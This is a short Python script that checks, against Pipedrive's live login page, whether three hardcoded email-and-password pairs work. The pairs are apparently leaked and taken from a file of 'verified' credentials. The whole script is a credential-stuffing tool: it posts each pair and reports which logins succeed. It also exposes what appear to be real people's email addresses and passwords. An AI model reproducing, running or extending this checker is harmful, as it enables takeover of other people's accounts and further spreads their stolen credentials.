#!/usr/bin/env python3
# Quick test of 3 credentials from verified.txt

import requests

LOGIN_URL = "https://app.pipedrive.com/auth/login"

# Test 3 credentials
test_creds = [
    ("Enggmateen6@gmail.com", "Pipedrive123.."),
    ("FABIO.TEIXEIRA@buzzlead.com.br", "089448fts"),
    ("Financeiro.regionalrj@brbrokers.com.br", "financeiro123"),
]

session = requests.Session()
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    'Accept': 'text/html,application/xhtml+xml',
    'Accept-Language': 'en-US,en;q=0.5',
}

print("Testing 3 credentials from verified.txt:\n")

for email, password in test_creds:
    try:
        session.get(LOGIN_URL, headers=headers, timeout=5)
        
        login_data = {
            'email': email,
            'password': password,
            'remember_me': 'true'
        }
        
        response = session.post(LOGIN_URL, data=login_data, headers=headers, allow_redirects=True, timeout=5)
        final_url = response.url
        
        if '/auth/login' in final_url:
            print(f"✗ {email} - FAILED (still on login page)")
        elif '/app/' in final_url or '/deals' in final_url:
            print(f"✓ {email} - SUCCESS (redirected to app)")
        else:
            print(f"? {email} - UNCLEAR ({final_url[:50]})")
            
    except Exception as e:
        print(f"! {email} - ERROR: {str(e)}")

print("\nDone!")

